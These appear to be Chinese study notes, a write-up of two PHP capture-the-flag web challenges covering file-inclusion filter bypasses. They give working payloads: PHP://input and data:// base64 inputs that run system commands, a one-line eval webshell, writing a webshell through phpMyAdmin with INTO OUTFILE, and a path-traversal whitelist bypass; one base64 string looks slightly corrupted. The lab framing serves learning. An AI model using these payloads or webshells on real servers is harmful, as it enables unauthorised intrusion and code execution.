Web_PHP_include
考点:考审计PHP代码的基本能力,以及绕开的能力
知识点:
1.两个函数
①str_replace(“PHP://”, “”, $page);替换函数
②strstr($page, “PHP://”)查找函数,即输出在一个字符串里面第一次出现的位置(且对大小写敏感)即绕开了
PHP://input功能应用 (接受请求的get或者post数据)
2.data协议的用法
3.数据库写马的方法
题目:
方法一:
利用strstr()的敏感大小进行绕过
代码
//get中
http://220.249.52.133:32881/?page=PHP://input
//post请求中## 标题
<?PHP system("ls"); ?>
<?PHP system("cat 路径的文件名"); ?>//即利用cat命令获取
方法二:
data://伪协议执行命令利用进行绕过
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
如
<?PHP system("dir")?> base64编码后使用进行
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b (注意编码后的+号要URL编码)
方法三:
data://伪协议传木马
<?PHP eval($_POST[xiaohua]); ?> base64加密后拼接
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==
//菜刀连接即可
//御剑扫描获得PHPmyadmin root 密码空 进入
//数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写
SHOW VARIABLES LIKE "secure_file_priv"
linux默认tmp是可写目录 试试写入一句话马 菜刀连接
SELECT "<?PHP eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.PHP'
思路:①绕过代码审计中的替换即读取数据的命令
②在post中利用PHP的命令执行语句进行爆出flag
warmup
考点:
- 考PHP代码审计与构造的能力
- 考PHP路径访问的能力
- 参数与url中常见的符号理解
知识点:
1.#include文件包含的定义的漏洞使用类
作用:包含并运行指定的文件
运行方法:先按照参数的路径进行寻找,没有的话在依次删除路径
file的参数这个是#include里面的定义为文件=路径;(且文件打开还可以考虑用PHP://input)
2.函数
①in_array($page, $whitelist)即在whitelist中是否存在page这个参数
②mb_substr()函数的理解
mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//即参数从0开始返回mb_strpos这么多的字节
③mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置(即返回的位置,strstr返回的是值且是从当时开始的值)
<?PHP
$str = 'http://www.feiniaomy.com';
echo mb_strpos($str,'niao');
?>
//输出结果:14;
④参数的理解
如?file=source.PHP?(payload)//即参数$page实际为source.PHP?
做题:
审计代码后发现只有当page的参数构造存在于whitelist数组中存在时,才返回 true,否则都是flase
因此可以利用第二个判断机制构造page=source.PHP?或者page=hint.PHP
然后又利用#include的实际执行方法进行构造路径
为?file=source.PHP?/…/…/…/…/…/…/ffffllllaaaagggg
成功获取到flag